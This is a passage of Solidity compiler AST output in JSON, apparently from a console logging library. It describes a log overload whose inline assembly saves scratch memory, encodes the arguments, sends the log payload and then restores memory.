y":"mutable","name":"m4","nameLocation":"153395:2:22","nodeType":"VariableDeclaration","scope":38757,"src":"153387:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38735,"name":"bytes32","nodeType":"ElementaryTypeName","src":"153387:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38737,"nodeType":"VariableDeclarationStatement","src":"153387:10:22"},{"assignments":[38739],"declarations":[{"constant":false,"id":38739,"mutability":"mutable","name":"m5","nameLocation":"153415:2:22","nodeType":"VariableDeclaration","scope":38757,"src":"153407:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38738,"name":"bytes32","nodeType":"ElementaryTypeName","src":"153407:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38740,"nodeType":"VariableDeclarationStatement","src":"153407:10:22"},{"assignments":[38742],"declarations":[{"constant":false,"id":38742,"mutability":"mutable","name":"m6","nameLocation":"153435:2:22","nodeType":"VariableDeclaration","scope":38757,"src":"153427:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38741,"name":"bytes32","nodeType":"ElementaryTypeName","src":"153427:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38743,"nodeType":"VariableDeclarationStatement","src":"153427:10:22"},{"assignments":[38745],"declarations":[{"constant":false,"id":38745,"mutability":"mutable","name":"m7","nameLocation":"153455:2:22","nodeType":"VariableDeclaration","scope":38757,"src":"153447:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38744,"name":"bytes32","nodeType":"ElementaryTypeName","src":"153447:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38746,"nodeType":"VariableDeclarationStatement","src":"153447:10:22"},{"assignments":[38748],"declarations":[{"constant":false,"id":38748,"mutability":"mutable","name":"m8","nameLocation":"153475:2:22","nodeType":"VariableDeclaration","scope":38757,"src":"153467:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38747,"name":"bytes32","nodeType":"ElementaryTypeName","src":"153467:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38749,"nodeType":"VariableDeclarationStatement","src":"153467:10:22"},{"AST":{"nativeSrc":"153496:927:22","nodeType":"YulBlock","src":"153496:927:22","statements":[{"body":{"nativeSrc":"153539:313:22","nodeType":"YulBlock","src":"153539:313:22","statements":[{"nativeSrc":"153557:15:22","nodeType":"YulVariableDeclaration","src":"153557:15:22","value":{"kind":"number","nativeSrc":"153571:1:22","nodeType":"YulLiteral","src":"153571:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"153561:6:22","nodeType":"YulTypedName","src":"153561:6:22","type":""}]},{"body":{"nativeSrc":"153642:40:22","nodeType":"YulBlock","src":"153642:40:22","statements":[{"body":{"nativeSrc":"153671:9:22","nodeType":"YulBlock","src":"153671:9:22","statements":[{"nativeSrc":"153673:5:22","nodeType":"YulBreak","src":"153673:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"153659:6:22","nodeType":"YulIdentifier","src":"153659:6:22"},{"name":"w","nativeSrc":"153667:1:22","nodeType":"YulIdentifier","src":"153667:1:22"}],"functionName":{"name":"byte","nativeSrc":"153654:4:22","nodeType":"YulIdentifier","src":"153654:4:22"},"nativeSrc":"153654:15:22","nodeType":"YulFunctionCall","src":"153654:15:22"}],"functionName":{"name":"iszero","nativeSrc":"153647:6:22","nodeType":"YulIdentifier","src":"153647:6:22"},"nativeSrc":"153647:23:22","nodeType":"YulFunctionCall","src":"153647:23:22"},"nativeSrc":"153644:36:22","nodeType":"YulIf","src":"153644:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"153599:6:22","nodeType":"YulIdentifier","src":"153599:6:22"},{"kind":"number","nativeSrc":"153607:4:22","nodeType":"YulLiteral","src":"153607:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"153596:2:22","nodeType":"YulIdentifier","src":"153596:2:22"},"nativeSrc":"153596:16:22","nodeType":"YulFunctionCall","src":"153596:16:22"},"nativeSrc":"153589:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"153613:28:22","nodeType":"YulBlock","src":"153613:28:22","statements":[{"nativeSrc":"153615:24:22","nodeType":"YulAssignment","src":"153615:24:22","value":{"arguments":[{"name":"length","nativeSrc":"153629:6:22","nodeType":"YulIdentifier","src":"153629:6:22"},{"kind":"number","nativeSrc":"153637:1:22","nodeType":"YulLiteral","src":"153637:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"153625:3:22","nodeType":"YulIdentifier","src":"153625:3:22"},"nativeSrc":"153625:14:22","nodeType":"YulFunctionCall","src":"153625:14:22"},"variableNames":[{"name":"length","nativeSrc":"153615:6:22","nodeType":"YulIdentifier","src":"153615:6:22"}]}]},"pre":{"nativeSrc":"153593:2:22","nodeType":"YulBlock","src":"153593:2:22","statements":[]},"src":"153589:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"153706:3:22","nodeType":"YulIdentifier","src":"153706:3:22"},{"name":"length","nativeSrc":"153711:6:22","nodeType":"YulIdentifier","src":"153711:6:22"}],"functionName":{"name":"mstore","nativeSrc":"153699:6:22","nodeType":"YulIdentifier","src":"153699:6:22"},"nativeSrc":"153699:19:22","nodeType":"YulFunctionCall","src":"153699:19:22"},"nativeSrc":"153699:19:22","nodeType":"YulExpressionStatement","src":"153699:19:22"},{"nativeSrc":"153735:37:22","nodeType":"YulVariableDeclaration","src":"153735:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"153752:3:22","nodeType":"YulLiteral","src":"153752:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"153761:1:22","nodeType":"YulLiteral","src":"153761:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"153764:6:22","nodeType":"YulIdentifier","src":"153764:6:22"}],"functionName":{"name":"shl","nativeSrc":"153757:3:22","nodeType":"YulIdentifier","src":"153757:3:22"},"nativeSrc":"153757:14:22","nodeType":"YulFunctionCall","src":"153757:14:22"}],"functionName":{"name":"sub","nativeSrc":"153748:3:22","nodeType":"YulIdentifier","src":"153748:3:22"},"nativeSrc":"153748:24:22","nodeType":"YulFunctionCall","src":"153748:24:22"},"variables":[{"name":"shift","nativeSrc":"153739:5:22","nodeType":"YulTypedName","src":"153739:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"153800:3:22","nodeType":"YulIdentifier","src":"153800:3:22"},{"kind":"number","nativeSrc":"153805:4:22","nodeType":"YulLiteral","src":"153805:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"153796:3:22","nodeType":"YulIdentifier","src":"153796:3:22"},"nativeSrc":"153796:14:22","nodeType":"YulFunctionCall","src":"153796:14:22"},{"arguments":[{"name":"shift","nativeSrc":"153816:5:22","nodeType":"YulIdentifier","src":"153816:5:22"},{"arguments":[{"name":"shift","nativeSrc":"153827:5:22","nodeType":"YulIdentifier","src":"153827:5:22"},{"name":"w","nativeSrc":"153834:1:22","nodeType":"YulIdentifier","src":"153834:1:22"}],"functionName":{"name":"shr","nativeSrc":"153823:3:22","nodeType":"YulIdentifier","src":"153823:3:22"},"nativeSrc":"153823:13:22","nodeType":"YulFunctionCall","src":"153823:13:22"}],"functionName":{"name":"shl","nativeSrc":"153812:3:22","nodeType":"YulIdentifier","src":"153812:3:22"},"nativeSrc":"153812:25:22","nodeType":"YulFunctionCall","src":"153812:25:22"}],"functionName":{"name":"mstore","nativeSrc":"153789:6:22","nodeType":"YulIdentifier","src":"153789:6:22"},"nativeSrc":"153789:49:22","nodeType":"YulFunctionCall","src":"153789:49:22"},"nativeSrc":"153789:49:22","nodeType":"YulExpressionStatement","src":"153789:49:22"}]},"name":"writeString","nativeSrc":"153510:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"153531:3:22","nodeType":"YulTypedName","src":"153531:3:22","type":""},{"name":"w","nativeSrc":"153536:1:22","nodeType":"YulTypedName","src":"153536:1:22","type":""}],"src":"153510:342:22"},{"nativeSrc":"153865:17:22","nodeType":"YulAssignment","src":"153865:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"153877:4:22","nodeType":"YulLiteral","src":"153877:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"153871:5:22","nodeType":"YulIdentifier","src":"153871:5:22"},"nativeSrc":"153871:11:22","nodeType":"YulFunctionCall","src":"153871:11:22"},"variableNames":[{"name":"m0","nativeSrc":"153865:2:22","nodeType":"YulIdentifier","src":"153865:2:22"}]},{"nativeSrc":"153895:17:22","nodeType":"YulAssignment","src":"153895:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"153907:4:22","nodeType":"YulLiteral","src":"153907:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"153901:5:22","nodeType":"YulIdentifier","src":"153901:5:22"},"nativeSrc":"153901:11:22","nodeType":"YulFunctionCall","src":"153901:11:22"},"variableNames":[{"name":"m1","nativeSrc":"153895:2:22","nodeType":"YulIdentifier","src":"153895:2:22"}]},{"nativeSrc":"153925:17:22","nodeType":"YulAssignment","src":"153925:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"153937:4:22","nodeType":"YulLiteral","src":"153937:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"153931:5:22","nodeType":"YulIdentifier","src":"153931:5:22"},"nativeSrc":"153931:11:22","nodeType":"YulFunctionCall","src":"153931:11:22"},"variableNames":[{"name":"m2","nativeSrc":"153925:2:22","nodeType":"YulIdentifier","src":"153925:2:22"}]},{"nativeSrc":"153955:17:22","nodeType":"YulAssignment","src":"153955:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"153967:4:22","nodeType":"YulLiteral","src":"153967:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"153961:5:22","nodeType":"YulIdentifier","src":"153961:5:22"},"nativeSrc":"153961:11:22","nodeType":"YulFunctionCall","src":"153961:11:22"},"variableNames":[{"name":"m3","nativeSrc":"153955:2:22","nodeType":"YulIdentifier","src":"153955:2:22"}]},{"nativeSrc":"153985:17:22","nodeType":"YulAssignment","src":"153985:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"153997:4:22","nodeType":"YulLiteral","src":"153997:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"153991:5:22","nodeType":"YulIdentifier","src":"153991:5:22"},"nativeSrc":"153991:11:22","nodeType":"YulFunctionCall","src":"153991:11:22"},"variableNames":[{"name":"m4","nativeSrc":"153985:2:22","nodeType":"YulIdentifier","src":"153985:2:22"}]},{"nativeSrc":"154015:17:22","nodeType":"YulAssignment","src":"154015:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"154027:4:22","nodeType":"YulLiteral","src":"154027:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"154021:5:22","nodeType":"YulIdentifier","src":"154021:5:22"},"nativeSrc":"154021:11:22","nodeType":"YulFunctionCall","src":"154021:11:22"},"variableNames":[{"name":"m5","nativeSrc":"154015:2:22","nodeType":"YulIdentifier","src":"154015:2:22"}]},{"nativeSrc":"154045:17:22","nodeType":"YulAssignment","src":"154045:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"154057:4:22","nodeType":"YulLiteral","src":"154057:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"154051:5:22","nodeType":"YulIdentifier","src":"154051:5:22"},"nativeSrc":"154051:11:22","nodeType":"YulFunctionCall","src":"154051:11:22"},"variableNames":[{"name":"m6","nativeSrc":"154045:2:22","nodeType":"YulIdentifier","src":"154045:2:22"}]},{"nativeSrc":"154075:17:22","nodeType":"YulAssignment","src":"154075:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"154087:4:22","nodeType":"YulLiteral","src":"154087:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"154081:5:22","nodeType":"YulIdentifier","src":"154081:5:22"},"nativeSrc":"154081:11:22","nodeType":"YulFunctionCall","src":"154081:11:22"},"variableNames":[{"name":"m7","nativeSrc":"154075:2:22","nodeType":"YulIdentifier","src":"154075:2:22"}]},{"nativeSrc":"154105:18:22","nodeType":"YulAssignment","src":"154105:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"154117:5:22","nodeType":"YulLiteral","src":"154117:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"154111:5:22","nodeType":"YulIdentifier","src":"154111:5:22"},"nativeSrc":"154111:12:22","nodeType":"YulFunctionCall","src":"154111:12:22"},"variableNames":[{"name":"m8","nativeSrc":"154105:2:22","nodeType":"YulIdentifier","src":"154105:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154208:4:22","nodeType":"YulLiteral","src":"154208:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"154214:10:22","nodeType":"YulLiteral","src":"154214:10:22","type":"","value":"0x159f8927"}],"functionName":{"name":"mstore","nativeSrc":"154201:6:22","nodeType":"YulIdentifier","src":"154201:6:22"},"nativeSrc":"154201:24:22","nodeType":"YulFunctionCall","src":"154201:24:22"},"nativeSrc":"154201:24:22","nodeType":"YulExpressionStatement","src":"154201:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154245:4:22","nodeType":"YulLiteral","src":"154245:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"154251:2:22","nodeType":"YulIdentifier","src":"154251:2:22"}],"functionName":{"name":"mstore","nativeSrc":"154238:6:22","nodeType":"YulIdentifier","src":"154238:6:22"},"nativeSrc":"154238:16:22","nodeType":"YulFunctionCall","src":"154238:16:22"},"nativeSrc":"154238:16:22","nodeType":"YulExpressionStatement","src":"154238:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154274:4:22","nodeType":"YulLiteral","src":"154274:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"154280:4:22","nodeType":"YulLiteral","src":"154280:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"154267:6:22","nodeType":"YulIdentifier","src":"154267:6:22"},"nativeSrc":"154267:18:22","nodeType":"YulFunctionCall","src":"154267:18:22"},"nativeSrc":"154267:18:22","nodeType":"YulExpressionStatement","src":"154267:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154305:4:22","nodeType":"YulLiteral","src":"154305:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"154311:4:22","nodeType":"YulLiteral","src":"154311:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"154298:6:22","nodeType":"YulIdentifier","src":"154298:6:22"},"nativeSrc":"154298:18:22","nodeType":"YulFunctionCall","src":"154298:18:22"},"nativeSrc":"154298:18:22","nodeType":"YulExpressionStatement","src":"154298:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154336:4:22","nodeType":"YulLiteral","src":"154336:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"154342:2:22","nodeType":"YulIdentifier","src":"154342:2:22"}],"functionName":{"name":"mstore","nativeSrc":"154329:6:22","nodeType":"YulIdentifier","src":"154329:6:22"},"nativeSrc":"154329:16:22","nodeType":"YulFunctionCall","src":"154329:16:22"},"nativeSrc":"154329:16:22","nodeType":"YulExpressionStatement","src":"154329:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154370:4:22","nodeType":"YulLiteral","src":"154370:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"154376:2:22","nodeType":"YulIdentifier","src":"154376:2:22"}],"functionName":{"name":"writeString","nativeSrc":"154358:11:22","nodeType":"YulIdentifier","src":"154358:11:22"},"nativeSrc":"154358:21:22","nodeType":"YulFunctionCall","src":"154358:21:22"},"nativeSrc":"154358:21:22","nodeType":"YulExpressionStatement","src":"154358:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154404:4:22","nodeType":"YulLiteral","src":"154404:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"154410:2:22","nodeType":"YulIdentifier","src":"154410:2:22"}],"functionName":{"name":"writeString","nativeSrc":"154392:11:22","nodeType":"YulIdentifier","src":"154392:11:22"},"nativeSrc":"154392:21:22","nodeType":"YulFunctionCall","src":"154392:21:22"},"nativeSrc":"154392:21:22","nodeType":"YulExpressionStatement","src":"154392:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38724,"isOffset":false,"isSlot":false,"src":"153865:2:22","valueSize":1},{"declaration":38727,"isOffset":false,"isSlot":false,"src":"153895:2:22","valueSize":1},{"declaration":38730,"isOffset":false,"isSlot":false,"src":"153925:2:22","valueSize":1},{"declaration":38733,"isOffset":false,"isSlot":false,"src":"153955:2:22","valueSize":1},{"declaration":38736,"isOffset":false,"isSlot":false,"src":"153985:2:22","valueSize":1},{"declaration":38739,"isOffset":false,"isSlot":false,"src":"154015:2:22","valueSize":1},{"declaration":38742,"isOffset":false,"isSlot":false,"src":"154045:2:22","valueSize":1},{"declaration":38745,"isOffset":false,"isSlot":false,"src":"154075:2:22","valueSize":1},{"declaration":38748,"isOffset":false,"isSlot":false,"src":"154105:2:22","valueSize":1},{"declaration":38714,"isOffset":false,"isSlot":false,"src":"154251:2:22","valueSize":1},{"declaration":38716,"isOffset":false,"isSlot":false,"src":"154376:2:22","valueSize":1},{"declaration":38718,"isOffset":false,"isSlot":false,"src":"154410:2:22","valueSize":1},{"declaration":38720,"isOffset":false,"isSlot":false,"src":"154342:2:22","valueSize":1}],"id":38750,"nodeType":"InlineAssembly","src":"153487:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38752,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"154448:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":38753,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"154454:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":38751,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"154432:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38754,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"154432:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38755,"nodeType":"ExpressionStatement","src":"154432:28:22"},{"AST":{"nativeSrc":"154479:273:22","nodeType":"YulBlock","src":"154479:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"154500:4:22","nodeType":"YulLiteral","src":"154500:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"154506:2:22","nodeType":"YulIdentifier","src":"154506:2:22"}],"functionName":{"name":"mstore","nativeSrc":"154493:6:22","nodeType":"YulIdentifier","src":"154493:6:22"},"nativeSrc":"154493:16:22","nodeType":"YulFunctionCall","src":"154493:16:22"},"nativeSrc":"154493:16:22","nodeType":"YulExpressionStatement","src":"154493:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154529:4:22","nodeType":"YulLiteral","src":"154529:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"154535:2:22","nodeType":"YulIdentifier","src":"154535:2:22"}],"functionName":{"name":"mstore","nativeSrc":"154522:6:22","nodeType":"YulIdentifier","src":"154522:6:22"},"nativeSrc":"154522:16:22","nodeType":"YulFunctionCall","src":"154522:16:22"},"nativeSrc":"154522:16:22","nodeType":"YulExpressionStatement","src":"154522:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154558:4:22","nodeType":"YulLiteral","src":"154558:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"154564:2:22","nodeType":"YulIdentifier","src":"154564:2:22"}],"functionName":{"name":"mstore","nativeSrc":"154551:6:22","nodeType":"YulIdentifier","src":"154551:6:22"},"nativeSrc":"154551:16:22","nodeType":"YulFunctionCall","src":"154551:16:22"},"nativeSrc":"154551:16:22","nodeType":"YulExpressionStatement","src":"154551:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154587:4:22","nodeType":"YulLiteral","src":"154587:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"154593:2:22","nodeType":"YulIdentifier","src":"154593:2:22"}],"functionName":{"name":"mstore","nativeSrc":"154580:6:22","nodeType":"YulIdentifier","src":"154580:6:22"},"nativeSrc":"154580:16:22","nodeType":"YulFunctionCall","src":"154580:16:22"},"nativeSrc":"154580:16:22","nodeType":"YulExpressionStatement","src":"154580:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154616:4:22","nodeType":"YulLiteral","src":"154616:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"154622:2:22","nodeType":"YulIdentifier","src":"154622:2:22"}],"functionName":{"name":"mstore","nativeSrc":"154609:6:22","nodeType":"YulIdentifier","src":"154609:6:22"},"nativeSrc":"154609:16:22","nodeType":"YulFunctionCall","src":"154609:16:22"},"nativeSrc":"154609:16:22","nodeType":"YulExpressionStatement","src":"154609:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154645:4:22","nodeType":"YulLiteral","src":"154645:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"154651:2:22","nodeType":"YulIdentifier","src":"154651:2:22"}],"functionName":{"name":"mstore","nativeSrc":"154638:6:22","nodeType":"YulIdentifier","src":"154638:6:22"},"nativeSrc":"154638:16:22","nodeType":"YulFunctionCall","src":"154638:16:22"},"nativeSrc":"154638:16:22","nodeType":"YulExpressionStatement","src":"154638:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154674:4:22","nodeType":"YulLiteral","src":"154674:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"154680:2:22","nodeType":"YulIdentifier","src":"154680:2:22"}],"functionName":{"name":"mstore","nativeSrc":"154667:6:22","nodeType":"YulIdentifier","src":"154667:6:22"},"nativeSrc":"154667:16:22","nodeType":"YulFunctionCall","src":"154667:16:22"},"nativeSrc":"154667:16:22","nodeType":"YulExpressionStatement","src":"154667:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154703:4:22","nodeType":"YulLiteral","src":"154703:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"154709:2:22","nodeType":"YulIdentifier","src":"154709:2:22"}],"functionName":{"name":"mstore","nativeSrc":"154696:6:22","nodeType":"YulIdentifier","src":"154696:6:22"},"nativeSrc":"154696:16:22","nodeType":"YulFunctionCall","src":"154696:16:22"},"nativeSrc":"154696:16:22","nodeType":"YulExpressionStatement","src":"154696:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"154732:5:22","nodeType":"YulLiteral","src":"154732:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"154739:2:22","nodeType":"YulIdentifier","src":"154739:2:22"}],"functionName":{"name":"mstore","nativeSrc":"154725:6:22","nodeType":"YulIdentifier","src":"154725:6:22"},"nativeSrc":"154725:17:22","nodeType":"YulFunctionCall","src":"154725:17:22"},"nativeSrc":"154725:17:22","nodeType":"YulExpressionStatement","src":"154725:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38724,"isOffset":false,"isSlot":false,"src":"154506:2:22","valueSize":1},{"declaration":38727,"isOffset":false,"isSlot":false,"src":"154535:2:22","valueSize":1},{"declaration":38730,"isOffset":false,"isSlot":false,"src":"154564:2:22","valueSize":1},{"declaration":38733,"isOffset":false,"isSlot":false,"src":"154593:2:22","valueSize":1},{"declaration":38736,"isOffset":false,"isSlot":false,"src":"154622:2:22","valueSize":1},{"declaration":38739,"isOffset":false,"isSlot":false,"src":"154651:2:22","valueSize":1},{"declaration":38742,"isOffset":false,"isSlot":false,"src":"154680:2:22","valueSize":1},{"declaration":38745,"isOffset":false,"isSlot":false,"src":"154709:2:22","valueSize":1},{"declaration":38748,"isOffset":false,"isSlot":false,"src":"154739:2:22","valueSize":1}],"id":38756,"nodeType":"InlineAssembly","src":"154470:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"153231:3:22","parameters":{"id":38721,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38714,"mutability":"mutable","name":"p0","nameLocation":"153243:2:22","nodeType":"VariableDeclaration","scope":38758,"src":"153235:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38713,"name":"address","nodeType":"ElementaryTypeName","src":"153235:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38716,"mutability":"mutable","name":"p1","nameLocation":"153255:2:22","nodeType":"VariableDeclaration","scope":38758,"src":"153247:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38715,"name":"bytes32","nodeType":"ElementaryTypeName","src":"153247:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38718,"mutability":"mutable","name":"p2","nameLocation":"153267:2:22","nodeType":"VariableDeclaration","scope":38758,"src":"153259:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38717,"name":"bytes32","nodeType":"ElementaryTypeName","src":"153259:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38720,"mutability":"mutable","name":"p3","nameLocation":"153279:2:22","nodeType":"VariableDeclaration","scope":38758,"src":"153271:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":38719,"name":"uint256","nodeType":"ElementaryTypeName","src":"153271:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"153234:48:22"},"returnParameters":{"id":38722,"nodeType":"ParameterList","parameters":[],"src":"153297:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38810,"nodeType":"FunctionDefinition","src":"154764:1738:22","nodes":[],"body":{"id":38809,"nodeType":"Block","src":"154839:1663:22","nodes":[],"statements":[{"assignments":[38770],"declarations":[{"constant":false,"id":38770,"mutability":"mutable","name":"m0","nameLocation":"154857:2:22","nodeType":"VariableDeclaration","scope":38809,"src":"154849:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38769,"name":"bytes32","nodeType":"ElementaryTypeName","src":"154849:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38771,"nodeType":"VariableDeclarationStatement","src":"154849:10:22"},{"assignments":[38773],"declarations":[{"constant":false,"id":38773,"mutability":"mutable","name":"m1","nameLocation":"154877:2:22","nodeType":"VariableDeclaration","scope":38809,"src":"154869:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38772,"name":"bytes32","nodeType":"ElementaryTypeName","src":"154869:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38774,"nodeType":"VariableDeclarationStatement","src":"154869:10:22"},{"assignments":[38776],"declarations":[{"constant":false,"id":38776,"mutability":"mutable","name":"m2","nameLocation":"154897:2:22","nodeType":"VariableDeclaration","scope":38809,"src":"154889:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38775,"name":"bytes32","nodeType":"ElementaryTypeName","src":"154889:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38777,"nodeType":"VariableDeclarationStatement","src":"154889:10:22"},{"assignments":[38779],"declarations":[{"constant":false,"id":38779,"mutability":"mutable","name":"m3","nameLocation":"154917:2:22","nodeType":"VariableDeclaration","scope":38809,"src":"154909:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38778,"name":"bytes32","nodeType":"ElementaryTypeName","src":"154909:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38780,"nodeType":"VariableDeclarationStatement","src":"154909:10:22"},{"assignments":[38782],"declarations":[{"constant":false,"id":38782,"mutability":"mutable","name":"m4","nameLocation":"154937:2:22","nodeType":"VariableDeclaration","scope":38809,"src":"154929:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeN